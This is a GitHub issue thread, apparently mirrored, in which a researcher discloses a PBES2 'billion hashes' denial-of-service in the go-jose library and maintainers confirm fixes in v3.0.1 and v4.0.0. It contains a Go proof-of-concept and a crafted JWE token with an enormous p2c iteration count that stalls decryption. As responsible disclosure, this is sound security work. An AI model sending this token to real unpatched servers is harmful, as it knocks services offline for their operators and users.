go-jose / go-jose

An implementation of JOSE standards (JWE, JWS, JWT) in Go

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

Billion hashes attack against Decrypt

mschwager opened this issue · comments

Hi there,

I'd like to report a potential security vulnerability in this repository. Using GitHub's private reporting would be easiest:

If that doesn't work, would you mind suggesting an alternative?

For future reference, here was the contents of the disclosure:


Here are the details of the vulnerability:

There were some new attacks against JWT presented at BlackHat this year: Three New Attacks Against JSON Web Tokens. The issue in go-jose is the same as the "billion hashes attack" described in this presentation. Specifically, an attacker can provide a PBES2 encrypted JWE blob with a very large p2c value that, when decrypted, produces a DoS in the server. Here's a minimal code example:

package main

import (
	"flag"
	"fmt"

	"github.com/go-jose/go-jose/v3"
)

func main() {
	var jwe, key string
	flag.StringVar(&jwe, "jwe", "", "JWE value")
	flag.StringVar(&key, "key", "", "JWE key")
	flag.Parse()

	parsed, err := jose.ParseEncrypted(jwe)
	if err != nil {
		panic(err)
	}

	jwk := jose.JSONWebKey{Key: key}

	fmt.Println("Decrypting...")
	bytes, err := parsed.Decrypt(jwk)
	if err != nil {
		panic(err)
	}

	fmt.Println("Decrypted:", string(bytes))
}

We can then run this script with a specially crafted JWE with a PBES2 alg and large p2c value:

$ go run main.go -jwe eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMTI4Q0JDLUhTMjU2Iiwia2lkIjoidGVzdCIsInAyYyI6MjE0NzQ4MzY0NywicDJzIjoiaHN3SDZnZS05WFNxMktwQ2JsTTc2ZyJ9.eBk8UWIZeBg4D-mXp3y3h1HZnsjpeXnqg8NqMfuVvp-7x43gbaOS_A.soS-VXbdCvo0Qzs384EMMw.UhsU-7oE4vCW6_gGYwMrwixVvK6H39M6wc7ptdZzKPw0aH-uDKW_0lu4e48TpFfFA7xBaK2iknIkUeJn59ydyzK3Gb5vtDVIQPqBmgIGWZY.1_Tw4HcqpP2O7L3mkWjGeg -key test
Decrypting...

So, if a server is performing JOSE decryption, and even if it's not intentionally supporting PBES2, it will be vulnerable to DoS. Also, the attacker does not need to know the key to perform the attack. I would consider this a medium severity bug. This type of bug resulted in CVE-2022-36083 in a similar library in the JavaScript ecosystem, and this commit provided the fix. I see two good options for remediation:

  1. If the library sees a PBES2 encrypted JWE, then check and make sure the p2c value is less than some reasonable value, like 10000 or 100000. If it's over that value then error out. This is what the JavaScript library did.
  2. Require the expected "alg" value to be specified in the Decrypt function. This would prevent PBES2 blobs from being decrypted when they're not expected.

Option (2) is a bit more challenging to implement, but also more robust. It would be a backwards incompatible change to the API, but it removes any problems (and future problems) with attacker-specified "alg" values. In fact, this suggestion was made back in 2015 when dealing with the infamous "alg: none" issue that plagues JWT implementations. This was the approach another Golang JOSE library took.

I hope this all makes sense, and let me know if you need any additional information.

Fixed by #66.

Thanks for the very clear and detailed report! The fix is included in the v3.0.1 release.

We're working some API changes for a v4 release that will resolve this in a more thorough way, by requiring the caller to specify expected algorithms when parsing.

FYI, we've now published v4.0.0 which has the more thorough fixes (e.g. requiring the caller to specify expected algorithms).